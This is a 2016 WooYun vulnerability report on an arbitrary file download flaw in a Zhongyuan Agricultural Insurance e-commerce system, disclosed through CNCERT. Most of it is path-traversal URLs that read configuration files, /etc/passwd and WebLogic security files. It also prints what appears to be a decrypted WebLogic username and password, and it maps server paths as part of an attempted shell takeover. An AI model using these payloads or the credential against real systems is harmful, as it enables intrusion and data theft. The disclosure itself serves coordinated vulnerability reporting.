当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0213351

漏洞标题:中原农业保险某系统存在任意文件下载漏洞(一次失败的getshell经历)

相关厂商:中原农业保险

漏洞作者: 路人甲

提交时间:2016-05-27 12:19

修复时间:2016-07-15 10:00

公开时间:2016-07-15 10:00

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-27: 细节已通知厂商并且等待厂商处理中
2016-05-31: 厂商已经确认,细节仅向厂商公开
2016-06-10: 细节向核心白帽子及相关领域专家公开
2016-06-20: 细节向普通白帽子公开
2016-06-30: 细节向实习白帽子公开
2016-07-15: 细节向公众公开

简要描述:

任意文件下载

详细说明:

http://**.**.**.**/

QQ截图20160526204523.png


http://**.**.**.**.cn/ecommerce/proposal/xueping/xuePingController/downloadClause?fileName=..%2FWEB-INF%2Fweb.xml


QQ截图20160526204848.png

漏洞证明:

http://**.**.**.**/ecommerce/proposal/xueping/xuePingController/downloadClause?fileName=..%2FWEB-INF%2Fclasses%2Fspring%2FapplicationContext.xml


QQ截图20160526205144.png


数据库

http://**.**.**.**/ecommerce/proposal/xueping/xuePingController/downloadClause?fileName=..%2FWEB-INF%2Fclasses%2Fapplication.properties


QQ截图20160526205416.png


http://**.**.**.**/ecommerce/proposal/xueping/xuePingController/downloadClause?fileName=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

QQ截图20160526205611.png


QQ截图20160526205926.png


试试看能不能把weblogic密码那些载下来

QQ截图20160526210232.png


慢慢找

/home/weblogic/Oracle/Middleware/user_projects/domains/ecommerce_domain8091/bin
/home/weblogic/Oracle/Middleware/user_projects/domains/interfaceService_domain8099/bin/


QQ截图20160526211524.png


数据库

QQ截图20160526212307.png


QQ截图20160526213443.png


就差SerializedSystemIni.dat了
路径在
**.**.**.**/ecommerce/proposal/xueping/xuePingController/downloadClause?fileName=../../../../../../../../home/weblogic/Oracle/Middleware/user_projects/domains/ecommerce_domain8091/security/SerializedSystemIni.dat
但是问题来了,解开了确无法登录是什么鬼
WLdomain8091/bD2BawP7
顺便把我找到的路径都发出来
系统的程序都放在/home/weblogic/source/
一共有5套,包括支付接口、投保程序、手机站等等
分别是
/home/weblogic/source/wap/WEB-INF/web.xml
/home/weblogic/source/background/WEB-INF/web.xml
/home/weblogic/source/payment/WEB-INF/web.xml
/home/weblogic/source/ecommerce/WEB-INF/web.xml
/home/weblogic/source/interfaceService/WEB-INF/web.xml
所以对应的domain路径有5个
/home/weblogic/Oracle/Middleware/user_projects/domains/interfaceService_domain8099
/home/weblogic/Oracle/Middleware/user_projects/domains/wap_domain8094/servers/wapServer8094
/home/weblogic/Oracle/Middleware/user_projects/domains/ecommerce_domain8091/servers/ecommerceServer8091
/home/weblogic/Oracle/Middleware/user_projects/domains/payment_domain8096/servers/paymentServer8096
/home/weblogic/Oracle/Middleware/user_projects/domains/ecm_domain8098/servers/ecmServer8098
根据web的xml来判断,问题站点的domain应该是、
/home/weblogic/Oracle/Middleware/user_projects/domains/ecommerce_domain8091/security/SerializedSystemIni.dat
/home/weblogic/Oracle/Middleware/user_projects/domains/ecommerce_domain8091/servers/ecommerceServer8091/security/boot.properties
最后解得
WLdomain8091/bD2BawP7,可惜登录失败,求解

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-05-31 09:57

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向保险行业信息化主管部门通报,由其后续协调网站管理单位处置.

最新状态:

暂无